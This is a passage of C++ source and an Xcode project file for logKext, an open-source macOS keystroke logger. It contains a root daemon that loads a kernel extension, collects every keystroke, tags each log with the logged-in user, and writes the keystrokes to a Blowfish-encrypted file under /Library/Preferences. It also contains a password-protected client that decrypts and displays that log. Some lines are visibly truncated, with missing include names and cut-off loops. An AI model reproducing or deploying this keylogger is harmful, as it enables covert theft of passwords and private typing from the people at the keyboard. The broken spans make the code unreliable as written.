186 | MACOSX_DEPLOYMENT_TARGET = 10.7;
187 | PREBINDING = NO;
188 | PRODUCT_NAME = logKextDaemon;
189 | SDKROOT = macosx;
190 | ZERO_LINK = NO;
191 | };
192 | name = Deployment;
193 | };
194 | F861092509283EBE003C3B7F /* Default */ = {
195 | isa = XCBuildConfiguration;
196 | buildSettings = {
197 | GCC_GENERATE_DEBUGGING_SYMBOLS = NO;
198 | GCC_MODEL_TUNING = G5;
199 | GCC_WARN_ABOUT_RETURN_TYPE = YES;
200 | GCC_WARN_UNUSED_VARIABLE = YES;
201 | INSTALL_PATH = "$(HOME)/bin";
202 | MACOSX_DEPLOYMENT_TARGET = 10.7;
203 | PREBINDING = NO;
204 | PRODUCT_NAME = logKextDaemon;
205 | SDKROOT = macosx;
206 | };
207 | name = Default;
208 | };
209 | F861092709283EBE003C3B7F /* Development */ = {
210 | isa = XCBuildConfiguration;
211 | buildSettings = {
212 | ARCHS = "$(ARCHS_STANDARD_32_64_BIT)";
213 | MACOSX_DEPLOYMENT_TARGET = 10.7;
214 | ONLY_ACTIVE_ARCH = YES;
215 | SDKROOT = macosx;
216 | };
217 | name = Development;
218 | };
219 | F861092809283EBE003C3B7F /* Deployment */ = {
220 | isa = XCBuildConfiguration;
221 | buildSettings = {
222 | ARCHS = "$(ARCHS_STANDARD_32_64_BIT)";
223 | MACOSX_DEPLOYMENT_TARGET = 10.7;
224 | SDKROOT = macosx;
225 | };
226 | name = Deployment;
227 | };
228 | F861092909283EBE003C3B7F /* Default */ = {
229 | isa = XCBuildConfiguration;
230 | buildSettings = {
231 | MACOSX_DEPLOYMENT_TARGET = 10.7;
232 | SDKROOT = macosx;
233 | };
234 | name = Default;
235 | };
236 | /* End XCBuildConfiguration section */
237 |
238 | /* Begin XCConfigurationList section */
239 | F861092209283EBE003C3B7F /* Build configuration list for PBXNativeTarget "logKextDaemon" */ = {
240 | isa = XCConfigurationList;
241 | buildConfigurations = (
242 | F861092309283EBE003C3B7F /* Development */,
243 | F861092409283EBE003C3B7F /* Deployment */,
244 | F861092509283EBE003C3B7F /* Default */,
245 | );
246 | defaultConfigurationIsVisible = 0;
247 | defaultConfigurationName = Default;
248 | };
249 | F861092609283EBE003C3B7F /* Build configuration list for PBXProject "logKextDaemon" */ = {
250 | isa = XCConfigurationList;
251 | buildConfigurations = (
252 | F861092709283EBE003C3B7F /* Development */,
253 | F861092809283EBE003C3B7F /* Deployment */,
254 | F861092909283EBE003C3B7F /* Default */,
255 | );
256 | defaultConfigurationIsVisible = 0;
257 | defaultConfigurationName = Default;
258 | };
259 | /* End XCConfigurationList section */
260 | };
261 | rootObject = 08FB7793FE84155DC02AAC07 /* Project object */;
262 | }
263 |
--------------------------------------------------------------------------------
/logKextDaemon.cpp:
--------------------------------------------------------------------------------
1 | /*
2 | logKextDaemon.cpp
3 | logKext
4 |
5 | Copyright 2007 Braden Thomas
6 |
7 | Licensed under the Apache License, Version 2.0 (the "License");
8 | you may not use this file except in compliance with the License.
9 | You may obtain a copy of the License at
10 |
11 | http://www.apache.org/licenses/LICENSE-2.0
12 |
13 | Unless required by applicable law or agreed to in writing, software
14 | distributed under the License is distributed on an "AS IS" BASIS,
15 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
16 | See the License for the specific language governing permissions and
17 | limitations under the License.
18 | */
19 |
20 | #include
21 | #include
22 | #include
23 | #include
24 | #include
25 | #include
26 |
27 | #include
28 | #include
29 | #include
30 | #include
31 | #include
32 |
33 | #include "logKextDaemon.h"
34 | #include "logKextCommon.h"
35 |
36 | #define TIME_TO_SLEEP 2
37 | #define PATHNAME_PREF_KEY CFSTR("Pathname")
38 | #define ENCRYPT_PREF_KEY CFSTR("Encrypt")
39 | #define PASSWORD_PREF_KEY CFSTR("Password")
40 | #define MINMEG_PREF_KEY CFSTR("MinMeg")
41 | #define SYSTEM_KEYCHAIN "/Library/Keychains/System.keychain"
42 | #define SECRET_SERVICENAME "logKextPassKey"
43 |
44 | /**********Function Declarations*************/
45 |
46 | void write_buffer(CFStringRef);
47 | int load_kext();
48 | bool outOfSpace(CFStringRef);
49 | void stamp_file(CFStringRef);
50 | bool fileExists(CFStringRef);
51 | void makeEncryptKey(CFStringRef pass);
52 |
53 | void updateEncryption();
54 | void updateKeymap();
55 |
56 | void getBufferSizeAndKeys(int *size,int *keys);
57 | CFStringRef getBuffer();
58 | bool connectToKext();
59 |
60 | void DaemonTimerCallback( CFRunLoopTimerRef timer, void *info );
61 | int InstallLoginLogoutNotifiers(CFRunLoopSourceRef* RunloopSourceReturned);
62 | void LoginLogoutCallBackFunction(SCDynamicStoreRef store, CFArrayRef changedKeys, void * info);
63 |
64 | /****** Globals ********/
65 | io_connect_t userClient;
66 | CFWriteStreamRef logStream;
67 | CFMutableDataRef encrypt_buffer; // 8 bytes
68 | CFDictionaryRef keymap;
69 |
70 | CFBooleanRef doEncrypt;
71 | BF_KEY encrypt_bf_key;
72 | CFBooleanRef showMods;
73 | CFStringRef pathName;
74 |
75 | /****** Main ********/
76 |
77 | int main()
78 | {
79 | if (geteuid())
80 | {
81 | syslog(LOG_ERR,"Error: Daemon must run as root.");
82 | exit(geteuid());
83 | }
84 |
85 | encrypt_buffer = CFDataCreateMutable(kCFAllocatorDefault,8);
86 |
87 | /*********Set up File**********/
88 |
89 | if (!(pathName = (CFStringRef)CFPreferencesCopyAppValue(PATHNAME_PREF_KEY,PREF_DOMAIN)))
90 | {
91 | pathName = CFSTR(DEFAULT_PATHNAME);
92 | CFPreferencesSetAppValue(PATHNAME_PREF_KEY,pathName,PREF_DOMAIN);
93 | }
94 |
95 | CFURLRef logPathURL = CFURLCreateWithFileSystemPath(kCFAllocatorDefault,pathName,kCFURLPOSIXPathStyle,false);
96 | logStream = CFWriteStreamCreateWithFile(kCFAllocatorDefault,logPathURL);
97 | CFRelease(logPathURL);
98 |
99 | if (!logStream)
100 | {
101 | syslog(LOG_ERR,"Error: Couldn't open file stream at start.");
102 | return 1;
103 | }
104 |
105 | /*********Check encryption & keymap**********/
106 |
107 | updateEncryption();
108 | updateKeymap();
109 |
110 | /*********Check space**********/
111 |
112 | if (outOfSpace(pathName))
113 | {
114 | stamp_file(CFSTR("Not enough disk space remaining!"));
115 | CFRunLoopStop(CFRunLoopGetCurrent());
116 | }
117 |
118 | /*********Connect to kernel extension**********/
119 |
120 | if (!connectToKext())
121 | {
122 | if (load_kext())
123 | {
124 | stamp_file(CFSTR("Could not load KEXT"));
125 | return 1;
126 | }
127 | if (!connectToKext())
128 | {
129 | stamp_file(CFSTR("Could not connect with KEXT"));
130 | return 1;
131 | }
132 | }
133 | sleep(1); // just a little time to let the kernel notification handlers finish
134 |
135 | stamp_file(CFSTR("LogKext Daemon starting up"));
136 | // stamp login file with initial user
137 | LoginLogoutCallBackFunction(NULL, NULL, NULL);
138 |
139 | CFPreferencesAppSynchronize(PREF_DOMAIN);
140 |
141 | /*********Create Daemon Timer source**********/
142 |
143 | CFRunLoopTimerContext timerContext = { 0 };
144 | CFRunLoopSourceRef loginLogoutSource;
145 | if (InstallLoginLogoutNotifiers(&loginLogoutSource))
146 | syslog(LOG_ERR,"Error: could not install login notifier");
147 | else
148 | CFRunLoopAddSource(CFRunLoopGetCurrent(),loginLogoutSource, kCFRunLoopDefaultMode);
149 |
150 | CFRunLoopTimerRef daemonTimer = CFRunLoopTimerCreate(NULL, 0, TIME_TO_SLEEP, 0, 0, DaemonTimerCallback, &timerContext);
151 | CFRunLoopAddTimer(CFRunLoopGetCurrent(), daemonTimer, kCFRunLoopCommonModes);
152 |
153 |
154 | CFRunLoopRun();
155 |
156 | stamp_file(CFSTR("Server error: closing Daemon"));
157 | CFWriteStreamClose(logStream);
158 | }
159 |
160 |
161 | void DaemonTimerCallback( CFRunLoopTimerRef timer, void *info )
162 | {
163 | /*********Wait if not logging**********/
164 |
165 | Boolean validKey;
166 | CFPreferencesAppSynchronize(PREF_DOMAIN);
167 | CFBooleanRef isLogging = (CFPreferencesGetAppBooleanValue(CFSTR("Logging"),PREF_DOMAIN,&validKey))?kCFBooleanTrue:kCFBooleanFalse;
168 | if (!validKey)
169 | {
170 | isLogging = kCFBooleanTrue;
171 | CFPreferencesSetAppValue(CFSTR("Logging"),isLogging,PREF_DOMAIN);
172 | }
173 |
174 | if (!CFBooleanGetValue(isLogging))
175 | return;
176 |
177 | /********* Check the buffer **********/
178 |
179 | int buffsize=0;
180 | int keys=0;
181 | getBufferSizeAndKeys(&buffsize,&keys);
182 |
183 | #ifdef LK_DEBUG
184 | syslog(LOG_ERR,"Buffsize %d, Keys %d.",buffsize,keys);
185 | #endif
186 |
187 | if (!keys) // no keyboards logged
188 | return;
189 |
190 | if (buffsize < MAX_BUFF_SIZE/10)
191 | return;
192 |
193 | /********* Get the buffer **********/
194 |
195 | CFStringRef the_buffer = getBuffer();
196 |
197 | /********* Check defaults/file **********/
198 |
199 | CFStringRef curPathName = (CFStringRef)CFPreferencesCopyAppValue(PATHNAME_PREF_KEY,PREF_DOMAIN);
200 | if (!curPathName) // path has been deleted
201 | {
202 | pathName = CFSTR(DEFAULT_PATHNAME);
203 | CFPreferencesSetAppValue(PATHNAME_PREF_KEY,pathName,PREF_DOMAIN);
204 |
205 | logStream = CFWriteStreamCreateWithFile(kCFAllocatorDefault,CFURLCreateWithFileSystemPath(kCFAllocatorDefault,pathName,kCFURLPOSIXPathStyle,false));
206 |
207 | if (!logStream)
208 | {
209 | syslog(LOG_ERR,"Error: Couldn't open file stream while running.");
210 | return;
211 | }
212 | }
213 | else if (CFStringCompare(curPathName,pathName,0)!=kCFCompareEqualTo) // path has changed
214 | {
215 | pathName = curPathName;
216 | logStream = CFWriteStreamCreateWithFile(kCFAllocatorDefault,CFURLCreateWithFileSystemPath(kCFAllocatorDefault,pathName,kCFURLPOSIXPathStyle,false));
217 |
218 | if (!logStream)
219 | {
220 | syslog(LOG_ERR,"Error: Couldn't open file stream while running.");
221 | return;
222 | }
223 |
224 | CFDataDeleteBytes(encrypt_buffer,CFRangeMake(0,CFDataGetLength(encrypt_buffer)));
225 | }
226 |
227 | if (!fileExists(pathName)) // when file is deleted, we resync the encryption & keymap preferences
228 | {
229 | CFPreferencesAppSynchronize(PREF_DOMAIN);
230 | updateEncryption();
231 | updateKeymap();
232 |
233 | logStream = CFWriteStreamCreateWithFile(kCFAllocatorDefault,CFURLCreateWithFileSystemPath(kCFAllocatorDefault,pathName,kCFURLPOSIXPathStyle,false));
234 | if (!logStream)
235 | {
236 | syslog(LOG_ERR,"Error: Couldn't open file stream while running.");
237 | return;
238 | }
239 |
240 | stamp_file(CFSTR("LogKext Daemon created new logfile"));
241 | }
242 |
243 | if (outOfSpace(pathName))
244 | {
245 | stamp_file(CFSTR("Not enough disk space remaining!"));
246 | return;
247 | }
248 |
249 | /********* Finally, write the buffer **********/
250 |
251 | write_buffer(the_buffer);
252 | CFRelease(the_buffer);
253 |
254 | return;
255 | }
256 |
257 | int load_kext()
258 | {
259 | int childStatus=0;
260 | pid_t pid;
261 |
262 | if (!(pid = fork()))
263 | {
264 | execl("/sbin/kextload", "/sbin/kextload", "-b", KEXT_ID, NULL);
265 | _exit(0);
266 | }
267 | waitpid(pid, &childStatus, 0);
268 | return childStatus;
269 | }
270 |
271 | void updateKeymap()
272 | {
273 | CFReadStreamRef readStream;
274 |
275 | if (!fileExists(CFSTR(KEYMAP_PATH)))
276 | {
277 | stamp_file(CFSTR("Error: Keymap file is missing"));
278 | keymap = NULL;
279 | return;
280 | }
281 |
282 | readStream = CFReadStreamCreateWithFile(kCFAllocatorDefault,CFURLCreateWithFileSystemPath(kCFAllocatorDefault,CFSTR(KEYMAP_PATH),kCFURLPOSIXPathStyle,false));
283 | if (!readStream||!(CFReadStreamOpen(readStream)))
284 | {
285 | stamp_file(CFSTR("Error: Can't open keymap file"));
286 | keymap = NULL;
287 | return;
288 | }
289 | keymap = (CFDictionaryRef)CFPropertyListCreateFromStream(kCFAllocatorDefault,readStream,0,kCFPropertyListImmutable,NULL,NULL);
290 | CFReadStreamClose(readStream);
291 | if (!keymap)
292 | {
293 | stamp_file(CFSTR("Error: Can't read keymap file"));
294 | return;
295 | }
296 |
297 | Boolean validKey;
298 | showMods = (CFPreferencesGetAppBooleanValue(CFSTR("Mods"),PREF_DOMAIN,&validKey))?kCFBooleanTrue:kCFBooleanFalse;
299 | if (!validKey)
300 | {
301 | showMods = kCFBooleanTrue;
302 | CFPreferencesSetAppValue(CFSTR("Mods"),showMods,PREF_DOMAIN);
303 | }
304 | }
305 |
306 | void updateEncryption()
307 | {
308 | Boolean validKey;
309 | CFStringRef password;
310 | unsigned char md5[16];
311 | char hash[32];
312 |
313 | doEncrypt = (CFPreferencesGetAppBooleanValue(ENCRYPT_PREF_KEY,PREF_DOMAIN,&validKey))?kCFBooleanTrue:kCFBooleanFalse;
314 | if (!validKey)
315 | {
316 | doEncrypt = kCFBooleanTrue;
317 | CFPreferencesSetAppValue(ENCRYPT_PREF_KEY,doEncrypt,PREF_DOMAIN);
318 | }
319 |
320 | if (!(password = (CFStringRef)CFPreferencesCopyAppValue(PASSWORD_PREF_KEY,PREF_DOMAIN)))
321 | {
322 | password = CFSTR(DEFAULT_PASSWORD);
323 | MD5((const unsigned char*)CFStringGetCStringPtr(password,CFStringGetFastestEncoding(password)),CFStringGetLength(password),md5);
324 | for (int i=0; i0) // small buffer? still space left?
439 | break;
440 | buff_pos += to_copy; //move along the buffer
441 | }
442 |
443 | UInt8 enc_buff[8];
444 | BF_ecb_encrypt(CFDataGetBytePtr(encrypt_buffer),enc_buff,&encrypt_bf_key,BF_ENCRYPT);
445 | CFWriteStreamWrite(logStream,enc_buff,8);
446 |
447 | CFDataDeleteBytes(encrypt_buffer,CFRangeMake(0,8));
448 |
449 | if (buff_pos==CFStringGetLength(inData)) //just in case buffer happens to fit perfectly
450 | break;
451 | }
452 |
453 | return;
454 |
455 | }
456 |
457 | bool connectToKext()
458 | {
459 | mach_port_t masterPort;
460 | io_service_t serviceObject = 0;
461 | io_iterator_t iterator;
462 | CFDictionaryRef classToMatch;
463 | Boolean result = true; // assume success
464 |
465 | // return the mach port used to initiate communication with IOKit
466 | if (IOMasterPort(MACH_PORT_NULL, &masterPort) != KERN_SUCCESS)
467 | return false;
468 |
469 | classToMatch = IOServiceMatching( "com_fsb_iokit_logKext" );
470 | if (!classToMatch)
471 | return false;
472 |
473 | // create an io_iterator_t of all instances of our driver's class that exist in the IORegistry
474 | if (IOServiceGetMatchingServices(masterPort, classToMatch, &iterator) != KERN_SUCCESS)
475 | return false;
476 |
477 | // get the first item in the iterator.
478 | serviceObject = IOIteratorNext(iterator);
479 |
480 | // release the io_iterator_t now that we're done with it.
481 | IOObjectRelease(iterator);
482 |
483 | if (!serviceObject){
484 | result = false;
485 | goto bail;
486 | }
487 |
488 | // instantiate the user client
489 | if(IOServiceOpen(serviceObject, mach_task_self(), 0, &userClient) != KERN_SUCCESS) {
490 | result = false;
491 | goto bail;
492 | }
493 |
494 | bail:
495 | if (serviceObject) {
496 | IOObjectRelease(serviceObject);
497 | }
498 |
499 | return result;
500 | }
501 |
502 | void getBufferSizeAndKeys(int* size, int* keys)
503 | {
504 | kern_return_t kernResult;
505 |
506 | uint64_t scalarO_64[2];
507 | uint32_t outputCnt = 2;
508 |
509 | kernResult = IOConnectCallScalarMethod(userClient, // mach port
510 | klogKextBuffandKeys,
511 | NULL,
512 | 0,
513 | scalarO_64,
514 | &outputCnt);
515 |
516 | *size=scalarO_64[0];
517 | *keys=scalarO_64[1];
518 | return;
519 | }
520 |
521 | CFStringRef getBuffer()
522 | {
523 | kern_return_t kernResult;
524 | bufferStruct myBufStruct;
525 | size_t structSize = sizeof(myBufStruct);
526 |
527 | kernResult = IOConnectCallMethod(userClient,
528 | klogKextBuffer,
529 | NULL,
530 | 0,
531 | NULL,
532 | NULL,
533 | NULL,
534 | NULL,
535 | &myBufStruct,
536 | &structSize);
537 |
538 | CFDataRef result = CFDataCreate(kCFAllocatorDefault,myBufStruct.buffer,myBufStruct.bufLen);
539 | CFMutableStringRef decodedData = CFStringCreateMutable(kCFAllocatorDefault,0);
540 |
541 | if (!keymap)
542 | return decodedData;
543 |
544 | CFDictionaryRef flagsDict = (CFDictionaryRef)CFDictionaryGetValue(keymap,CFSTR("Flags"));
545 | if (!flagsDict)
546 | return decodedData;
547 | CFDictionaryRef ucDict = (CFDictionaryRef)CFDictionaryGetValue(keymap,CFSTR("Uppercase"));
548 | if (!ucDict)
549 | return decodedData;
550 | CFDictionaryRef lcDict = (CFDictionaryRef)CFDictionaryGetValue(keymap,CFSTR("Lowercase"));
551 | if (!lcDict)
552 | return decodedData;
553 |
554 | CFNumberFormatterRef myNF = CFNumberFormatterCreate(kCFAllocatorDefault,CFLocaleCopyCurrent(),kCFNumberFormatterNoStyle);
555 |
556 | for (int i=0; i> 11);
565 |
566 | if (flagTmp & 0x01)
567 | CFStringAppend(decodedData,(CFStringRef)CFDictionaryGetValue(flagsDict,CFSTR("0x01")));
568 |
569 | if (flagTmp & 0x02)
570 | CFStringAppend(decodedData,(CFStringRef)CFDictionaryGetValue(flagsDict,CFSTR("0x02")));
571 |
572 | if (flagTmp & 0x04)
573 | CFStringAppend(decodedData,(CFStringRef)CFDictionaryGetValue(flagsDict,CFSTR("0x04")));
574 |
575 | if (flagTmp & 0x08)
576 | CFStringAppend(decodedData,(CFStringRef)CFDictionaryGetValue(flagsDict,CFSTR("0x08")));
577 |
578 | if (flagTmp & 0x10)
579 | isUpper = true;
580 | }
581 |
582 | curChar &= 0x07ff;
583 | CFStringRef keyChar = CFNumberFormatterCreateStringWithValue(kCFAllocatorDefault,myNF,kCFNumberShortType,&curChar);
584 | CFStringRef text;
585 |
586 | if (isUpper)
587 | text = (CFStringRef)CFDictionaryGetValue(ucDict,keyChar);
588 | else
589 | text = (CFStringRef)CFDictionaryGetValue(lcDict,keyChar);
590 |
591 | if (text)
592 | {
593 | if (CFStringCompare(text,CFSTR("\\n"),0)==kCFCompareEqualTo)
594 | text = CFSTR("\n");
595 |
596 | CFStringAppend(decodedData,text);
597 | }
598 | else
599 | syslog(LOG_ERR,"Unmapped key %d",curChar);
600 | }
601 |
602 | return decodedData;
603 | }
604 |
605 |
606 |
607 | void LoginLogoutCallBackFunction(SCDynamicStoreRef store, CFArrayRef changedKeys, void * info)
608 | {
609 | CFStringRef consoleUserName;
610 | consoleUserName = SCDynamicStoreCopyConsoleUser(store, NULL, NULL);
611 | if (consoleUserName != NULL)
612 | {
613 | stamp_file(CFStringCreateWithFormat(NULL, NULL, CFSTR("User '%@' has logged in"), consoleUserName));
614 | CFRelease(consoleUserName);
615 | }
616 | }
617 |
618 | int InstallLoginLogoutNotifiers(CFRunLoopSourceRef* RunloopSourceReturned)
619 | {
620 | SCDynamicStoreContext DynamicStoreContext = { 0, NULL, NULL, NULL, NULL };
621 | SCDynamicStoreRef DynamicStoreCommunicationMechanism = NULL;
622 | CFStringRef KeyRepresentingConsoleUserNameChange = NULL;
623 | CFMutableArrayRef ArrayOfNotificationKeys;
624 | Boolean Result;
625 |
626 | *RunloopSourceReturned = NULL;
627 | DynamicStoreCommunicationMechanism = SCDynamicStoreCreate(NULL, CFSTR("logKext"), LoginLogoutCallBackFunction, &DynamicStoreContext);
628 |
629 | if (DynamicStoreCommunicationMechanism == NULL)
630 | return(-1); //unable to create dynamic store.
631 |
632 | KeyRepresentingConsoleUserNameChange = SCDynamicStoreKeyCreateConsoleUser(NULL);
633 | if (KeyRepresentingConsoleUserNameChange == NULL)
634 | {
635 | CFRelease(DynamicStoreCommunicationMechanism);
636 | return(-2);
637 | }
638 |
639 | ArrayOfNotificationKeys = CFArrayCreateMutable(NULL, (CFIndex)1, &kCFTypeArrayCallBacks);
640 | if (ArrayOfNotificationKeys == NULL)
641 | {
642 | CFRelease(DynamicStoreCommunicationMechanism);
643 | CFRelease(KeyRepresentingConsoleUserNameChange);
644 | return(-3);
645 | }
646 | CFArrayAppendValue(ArrayOfNotificationKeys, KeyRepresentingConsoleUserNameChange);
647 |
648 | Result = SCDynamicStoreSetNotificationKeys(DynamicStoreCommunicationMechanism, ArrayOfNotificationKeys, NULL);
649 | CFRelease(ArrayOfNotificationKeys);
650 | CFRelease(KeyRepresentingConsoleUserNameChange);
651 |
652 | if (Result == FALSE) //unable to add keys to dynamic store.
653 | {
654 | CFRelease(DynamicStoreCommunicationMechanism);
655 | return(-4);
656 | }
657 |
658 | *RunloopSourceReturned = SCDynamicStoreCreateRunLoopSource(NULL, DynamicStoreCommunicationMechanism, (CFIndex) 0);
659 | return(0);
660 | }
--------------------------------------------------------------------------------
/logKextClient.cpp:
--------------------------------------------------------------------------------
1 | /*
2 | logKextClient.cpp
3 | logKext
4 |
5 | Copyright 2007 Braden Thomas
6 |
7 | Licensed under the Apache License, Version 2.0 (the "License");
8 | you may not use this file except in compliance with the License.
9 | You may obtain a copy of the License at
10 |
11 | http://www.apache.org/licenses/LICENSE-2.0
12 |
13 | Unless required by applicable law or agreed to in writing, software
14 | distributed under the License is distributed on an "AS IS" BASIS,
15 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
16 | See the License for the specific language governing permissions and
17 | limitations under the License.
18 | */
19 |
20 | #include
21 | #include
22 | #include
23 | #include
24 | #include
25 | #include
26 | #include
27 | #include
28 |
29 | #include
30 |
31 | #include "logKextCommon.h"
32 | #include "logKextClient.h"
33 |
34 | /**********Function Declarations*************/
35 |
36 | long file_length(CFStringRef);
37 | CFStringRef decrypt_file(CFStringRef);
38 | void PrintLogfileStatus();
39 | void print_usage();
40 | bool verify_pass();
41 | bool prefsOK();
42 | void makeEncryptKey();
43 |
44 | BF_KEY encrypt_bf_key;
45 |
46 | /****** Main ********/
47 |
48 | int main(int argc, char * argv[])
49 | {
50 | if (geteuid())
51 | {
52 | printf("Must run as superuser. Please use sudo.\n");
53 | exit(EACCES);
54 | }
55 | if (!prefsOK())
56 | {
57 | printf("Error: logKext Preferences cannot be found. Is logKextDaemon running?\n");
58 | return 1;
59 | }
60 |
61 | CFPreferencesAppSynchronize(PREF_DOMAIN);
62 |
63 | if (!verify_pass())
64 | return EACCES;
65 |
66 | makeEncryptKey();
67 | PrintLogfileStatus();
68 |
69 | printf("Type 'help' for usage help, or 'quit' to quit.\n");
70 |
71 | while (1)
72 | {
73 | printf("\nlogKextClient > ");
74 | fflush(0);
75 |
76 | char line[1024+1];
77 | if (!fgets(line, 1024, stdin))
78 | break;
79 | // remove newline
80 | line[strlen(line)-1]=0;
81 |
82 | CFStringRef command = CFStringCreateWithCString(kCFAllocatorDefault,line,kCFStringEncodingASCII);
83 |
84 | if ((CFStringCompare(command,CFSTR("quit"),0)==kCFCompareEqualTo)||(CFStringCompare(command,CFSTR("q"),0)==kCFCompareEqualTo))
85 | {
86 | CFPreferencesAppSynchronize(PREF_DOMAIN);
87 | return 0;
88 | }
89 | if (CFStringCompare(command,CFSTR("help"),0)==kCFCompareEqualTo)
90 | {
91 | print_usage();
92 | continue;
93 | }
94 |
95 | CFArrayRef stringParts = CFStringCreateArrayBySeparatingStrings(kCFAllocatorDefault,command,CFSTR(" "));
96 | if (!CFArrayGetCount(stringParts))
97 | continue;
98 |
99 | if (CFStringCompare((CFStringRef)CFArrayGetValueAtIndex(stringParts,0),CFSTR("info"),0)==kCFCompareEqualTo)
100 | {
101 | if (CFArrayGetCount(stringParts)==1)
102 | {
103 | printf("\nPossible variables: \n");
104 | printf("\tLogging\t\tMinMeg\n\tLogPath\t\tPassword\n\tEncrypt\t\tMods\n");
105 | printf("Use 'info variable' to get information on a specific variable.\n\n");
106 |
107 | continue;
108 | }
109 | if (CFStringCompare((CFStringRef)CFArrayGetValueAtIndex(stringParts,1),CFSTR("Logging"),0)==kCFCompareEqualTo)
110 | {
111 | printf("Logging controls whether the daemon is logging keystrokes (default is on).\n");
112 | printf("Possible Values: on/off\n");
113 | }
114 | else if (CFStringCompare((CFStringRef)CFArrayGetValueAtIndex(stringParts,1),CFSTR("MinMeg"),0)==kCFCompareEqualTo)
115 | {
116 | printf("MinMeg controls the minimum number of megs on the filesystem before logKext shuts down (default is 20).\n");
117 | printf("Possible Values: Integer greater than 20\n");
118 | }
119 | else if (CFStringCompare((CFStringRef)CFArrayGetValueAtIndex(stringParts,1),CFSTR("LogPath"),0)==kCFCompareEqualTo)
120 | {
121 | printf("LogPath controls the pathname of the log file location (default is /Library/Preferences/Library/Preferences/com.fsb.logKext).\n");
122 | printf("Possible Values: Valid file path\n");
123 | }
124 | else if (CFStringCompare((CFStringRef)CFArrayGetValueAtIndex(stringParts,1),CFSTR("Password"),0)==kCFCompareEqualTo)
125 | {
126 | printf("Password is your password used to control access to this client.\n");
127 | printf("Possible Values: Password String\n");
128 | }
129 | else if (CFStringCompare((CFStringRef)CFArrayGetValueAtIndex(stringParts,1),CFSTR("Encrypt"),0)==kCFCompareEqualTo)
130 | {
131 | printf("Encrypt controls whether or not the logfile will be encrypted or cleartext.\n");
132 | printf("Possible Values: on/off\n");
133 | }
134 | else if (CFStringCompare((CFStringRef)CFArrayGetValueAtIndex(stringParts,1),CFSTR("Mods"),0)==kCFCompareEqualTo)
135 | {
136 | printf("Mods controls whether or not modifier keys are logged in the logfile.\n--Modifier keys are non-character keys like and .\n");
137 | printf("Possible Values: on/off\n");
138 | }
139 | else
140 | {
141 | printf("\nPossible variables: \n");
142 | printf("\tLogging\t\tMinMeg\n\tLogPath\t\tPassword\n\tEncrypt\t\tMods\n");
143 | printf("Use 'info variable' to get information on a specific variable.\n\n");
144 | }
145 | continue;
146 | }
147 | if (CFStringCompare((CFStringRef)CFArrayGetValueAtIndex(stringParts,0),CFSTR("open"),0)==kCFCompareEqualTo)
148 | {
149 | CFStringRef filePath;
150 | if (!getenv("HOME"))
151 | filePath = CFSTR("/tmp/out_logFile.txt");
152 | else
153 | filePath = CFStringCreateWithFormat(kCFAllocatorDefault,NULL,CFSTR("%s/Desktop/out_logFile.txt"),getenv("HOME"));
154 |
155 | CFStringRef pathName = (CFStringRef)CFPreferencesCopyAppValue(CFSTR("Pathname"),PREF_DOMAIN);
156 | long file_len = file_length(pathName);
157 | if (file_len)
158 | {
159 | CFStringRef decryptedBuf = decrypt_file(pathName);
160 | if (!decryptedBuf)
161 | printf("There was an error decrypting decrypting the logfile.\n");
162 | else
163 | {
164 | CFWriteStreamRef logStream = CFWriteStreamCreateWithFile(kCFAllocatorDefault,CFURLCreateWithFileSystemPath(kCFAllocatorDefault,filePath,kCFURLPOSIXPathStyle,false));
165 | CFWriteStreamOpen(logStream);
166 | if (!logStream)
167 | {
168 | printf("Error saving file\n");
169 | continue;
170 | }
171 | CFWriteStreamWrite(logStream,(const UInt8*)CFStringGetCStringPtr(decryptedBuf,CFStringGetFastestEncoding(decryptedBuf)),CFStringGetLength(decryptedBuf));
172 | CFWriteStreamClose(logStream);
173 |
174 | printf("Wrote file to: %s\n", CFStringGetCStringPtr(filePath,CFStringGetFastestEncoding(filePath)));
175 |
176 | char sysCommand[256];
177 | char sysCommandTwo[256];
178 | snprintf(sysCommand,256,"/usr/bin/open -e %s",CFStringGetCStringPtr(filePath,CFStringGetFastestEncoding(filePath)));
179 | snprintf(sysCommandTwo,256,"/usr/bin/open %s",CFStringGetCStringPtr(filePath,CFStringGetFastestEncoding(filePath)));
180 |
181 | if (system(sysCommand))
182 | system(sysCommandTwo);
183 |
184 | }
185 | }
186 | else
187 | {
188 | printf("The logfile does not currently exist. ");
189 | printf("Maybe you haven't typed 100 keystrokes since starting a new logfile.\n");
190 | }
191 | continue;
192 | }
193 | if (CFStringCompare((CFStringRef)CFArrayGetValueAtIndex(stringParts,0),CFSTR("print"),0)==kCFCompareEqualTo)
194 | {
195 | CFStringRef pathName = (CFStringRef)CFPreferencesCopyAppValue(CFSTR("Pathname"),PREF_DOMAIN);
196 | long file_len = file_length(pathName);
197 | if (file_len)
198 | {
199 | CFStringRef decryptedBuf = decrypt_file(pathName);
200 | if (!decryptedBuf)
201 | printf("There was an error decrypting decrypting the logfile.\n");
202 | else
203 | printf("%s\n",CFStringGetCStringPtr(decryptedBuf,CFStringGetFastestEncoding(decryptedBuf)));
204 | }
205 | else
206 | {
207 | printf("The logfile does not currently exist. ");
208 | printf("Maybe you haven't typed 100 keystrokes since starting a new logfile.\n");
209 | }
210 | continue;
211 | }
212 | if (CFStringCompare((CFStringRef)CFArrayGetValueAtIndex(stringParts,0),CFSTR("list"),0)==kCFCompareEqualTo)
213 | {
214 | printf("\nCurrent preference variable values:\n");
215 |
216 | if (CFPreferencesGetAppBooleanValue(CFSTR("Logging"),PREF_DOMAIN,NULL))
217 | printf("Logging:\ton\n");
218 | else
219 | printf("Logging:\toff\n");
220 |
221 | printf("Minimum Megs:\t%d\n",CFPreferencesGetAppIntegerValue(CFSTR("MinMeg"),PREF_DOMAIN,NULL));
222 | CFStringRef pathString = (CFStringRef)CFPreferencesCopyAppValue(CFSTR("Pathname"),PREF_DOMAIN);
223 | printf("LogPath:\t%s\n", CFStringGetCStringPtr(pathString,CFStringGetFastestEncoding(pathString)));
224 | printf("Password:\tCannot be listed.\n");
225 |
226 | if (CFPreferencesGetAppBooleanValue(CFSTR("Encrypt"),PREF_DOMAIN,NULL))
227 | printf("Encrypt:\ton\n");
228 | else
229 | printf("Encrypt:\toff\n");
230 |
231 | if (CFPreferencesGetAppBooleanValue(CFSTR("Mods"),PREF_DOMAIN,NULL))
232 | printf("Mods:\t\ton\n");
233 | else
234 | printf("Mods:\t\toff\n");
235 |
236 | printf("\nUse the 'set' command to change preference variables.\n\n");
237 | continue;
238 | }
